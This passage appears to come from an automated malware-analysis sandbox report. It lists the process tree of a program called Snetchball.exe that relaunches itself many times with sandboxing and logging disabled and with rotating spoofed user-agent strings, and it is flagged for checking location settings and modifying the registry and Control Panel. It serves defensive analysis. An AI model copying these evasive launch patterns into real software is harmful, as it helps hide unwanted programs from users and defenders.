C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2848,11632107300355285355,4173813756744281303,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.167 YaBrowser/22.7.4.957 Yowser/2.5 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:117⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"18⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2872,7264024172170132715,15312227009764169712,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 8.0; Galaxy Nexus Build/IMM76B; UCBrowser; ru-UA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.66 YaBrowser/21.2.6.68 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2908 /prefetch:219⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2872,7264024172170132715,15312227009764169712,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 8.0; Galaxy Nexus Build/IMM76B; UCBrowser; ru-UA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.66 YaBrowser/21.2.6.68 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3152 /prefetch:819⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2872,7264024172170132715,15312227009764169712,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 8.0; Galaxy Nexus Build/IMM76B; UCBrowser; ru-UA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.66 YaBrowser/21.2.6.68 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3212 /prefetch:119⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"20⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2852,15955737643096916512,1540399912550750019,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2904 /prefetch:221⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2852,15955737643096916512,1540399912550750019,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3172 /prefetch:821⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2852,15955737643096916512,1540399912550750019,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3164 /prefetch:121⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"22⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2756,16605724862147668351,8184303886034974654,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2904 /prefetch:223⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2756,16605724862147668351,8184303886034974654,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3144 /prefetch:823⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2756,16605724862147668351,8184303886034974654,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:123⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"24⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2856,3956465883134394956,5043585880306443708,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2884 /prefetch:225⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2856,3956465883134394956,5043585880306443708,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:125⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"26⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2860,15899929388945168781,7419223888666148994,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2904 /prefetch:227⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2860,15899929388945168781,7419223888666148994,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3196 /prefetch:827⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2860,15899929388945168781,7419223888666148994,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3184 /prefetch:127⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"28⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2840,14858862295879299685,17295636674637847351,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2868 /prefetch:229⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2840,14858862295879299685,17295636674637847351,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --service-sandbox-type=network --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 Safari/537.36" --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=3224 /prefetch:829⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2840,14858862295879299685,17295636674637847351,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:129⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"30⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2872,8897377371215448603,14463100497325208262,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4476.0 Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2904 /prefetch:231⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2872,8897377371215448603,14463100497325208262,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4476.0 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:131⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"32⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2836,14059417961094652827,18027198836368525221,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2864 /prefetch:233⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2836,14059417961094652827,18027198836368525221,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:133⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"34⤵
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2880,17914812311879297345,6599801019387025352,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2908 /prefetch:235⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2880,17914812311879297345,6599801019387025352,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3176 /prefetch:135⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"36⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2724,7541734360235849457,10510411150285218548,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; U; Android 10; PPA-LX2 Build/HUAWEIPPA-LX2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.108 Mobile Safari/537.36 OPR/63.0.2254.62316" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2872 /prefetch:237⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2724,7541734360235849457,10510411150285218548,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; U; Android 10; PPA-LX2 Build/HUAWEIPPA-LX2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.108 Mobile Safari/537.36 OPR/63.0.2254.62316" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3200 /prefetch:137⤵
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"38⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2868,9873114544123078577,11094426257683299939,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2916 /prefetch:239⤵
- Modifies registry class
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=renderer --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --field-trial-handle=2868,9873114544123078577,11094426257683299939,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --lang=en-US --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; Android 11; SM-A505F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Mobile Safari/537.36" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=3 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3144 /prefetch:139⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"40⤵
- Modifies Control Panel
-
C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe"C:\Users\Admin\AppData\Roaming\Snetchball\Snetchball.exe" --type=gpu-process --field-trial-handle=2884,6898924808534040397,4316778111466721068,131072 --enable-features=CastMediaRouteProvider --disable-features=CalculateNativeWinOcclusion --no-sandbox --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --log-severity=disable --user-agent="Mozilla/5.0 (Linux; arm; Android 12; SM-M015G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.2.21.00 (alpha) SA/3 Mobile Safari/537.36" --lang=en-US --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --log-file="C:\Users\Admin\AppData\Roaming\Snetchball\debug.log" --mojo-platform-channel-handle=2928 /prefetch:241⤵
- Modifies registry class
-
